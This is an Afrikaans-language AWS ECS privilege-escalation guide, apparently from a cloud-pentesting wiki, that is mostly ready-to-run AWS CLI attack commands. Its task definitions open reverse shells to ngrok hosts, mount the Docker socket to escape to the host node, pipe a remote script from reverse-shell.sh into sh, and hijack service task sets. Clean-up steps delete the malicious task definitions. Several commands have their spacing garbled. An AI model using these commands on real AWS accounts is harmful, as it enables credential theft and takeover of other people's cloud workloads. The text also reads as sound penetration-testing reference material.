'n Aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition en ecs:RunTask toestemming in ECS misbruik, kan 'n nuwe taakdefinisie genereer met 'n kwaadwillige houer wat die metadata geloofsbriewe steel en dit uitvoer.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potensiële Impak: Direkte privesc na 'n ander ECS-rol.
Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask toestemmings in ECS misbruik 'n nuwe taakdefinisie genereer met 'n kwaadaardige houer wat die metadata-akkrediteerings steel en dit uitvoer.
However, in this case, a container instance to run the malicious task definition need to be.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"awsecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potensiële Impak: Direkte privesc na enige ECS-rol.
Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService of ecs:CreateService toestemmings in ECS misbruik, 'n nuwe taakdefinisie genereer met 'n kwaadwillige houer wat die metadata-akkrediteerings steel en dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Potensiële Impak: Direkte privesc na enige ECS-rol.
Werklik, net met daardie toestemmings is dit moontlik om oorskrywings te gebruik om arbitrêre opdragte in 'n houer met 'n arbitrêre rol uit te voer met iets soos:
Hierdie scenario is soos die vorige, maar sonder die iam:PassRole toestemming.
Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy 'n bevoorregte houer kan uitvoer om te ontsnap na die node en die EC2 IAM rol en die ander ECS houer rolle wat in die node loop, kan steel.
Jy kan selfs ander take dwing om binne die EC2 instance wat jy gekompromitteer het, te loop om hul akrediteer te steel (soos bespreek in die Privesc na node afdeling).
Hierdie aanval is slegs moontlik as die ECS-kluster EC2 instances gebruik en nie Fargate nie.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
'n Aanvaller met die ecs:ExecuteCommand, ecs:DescribeTasks kan opdragte uitvoer binne 'n lopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om aws ecs execute-command te run).
E however, om dit te doen, moet die houerinstansie die ExecuteCommand-agent aan het (wat standaard nie is nie).
Daarom kan die aanvaller probeer om:
Probeer om 'n opdrag in elke lopende houer uit te voer
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
As hy ecs:RunTask het, voer 'n taak uit met aws ecs run-task --enable-execute-command [...]
As hy ecs:StartTask het, voer 'n taak uit met aws ecs start-task --enable-execute-command [...]
As hy ecs:CreateService het, skep 'n diens met aws ecs create-service --enable-execute-command [...]
As hy ecs:UpdateService het, werk 'n diens op met aws ecs update-service --enable-execute-command [...]
Jy kan voorbeelde van daardie opsies in vorige ECS privesc afdelings vind.
Potensiële Impak: Privesc na 'n ander rol wat aan houers gekoppel is.
ssm:StartSession
Kyk in die ssm privesc bladsy hoe jy hierdie toestemming kan misbruik om privesc na ECS:
TODO: Is dit moontlik om 'n instansie van 'n ander AWS-rekening te registreer sodat take onder masjiene wat deur die aanvaller beheer word, uitgevoer word??
'n Aanvaller met die toestemmings ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, en ecs:DescribeTaskSets kan 'n kwaadwillige taakstel vir 'n bestaande ECS-diens skep en die primêre taakstel opdateer. Dit stel die aanvaller in staat om arbitraire kode binne die diens uit te voer.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceawsecscreate-task-set--clusterexisting-cluster--serviceexisting-service--task-definitionmalicious-task--network-configuration"awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"# Update the primary task set for the serviceawsecsupdate-service-primary-task-set--clusterexisting-cluster--serviceexisting-service--primary-task-setarn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potensiële Impak: Voer arbitrêre kode uit in die betrokke diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitkoppel.
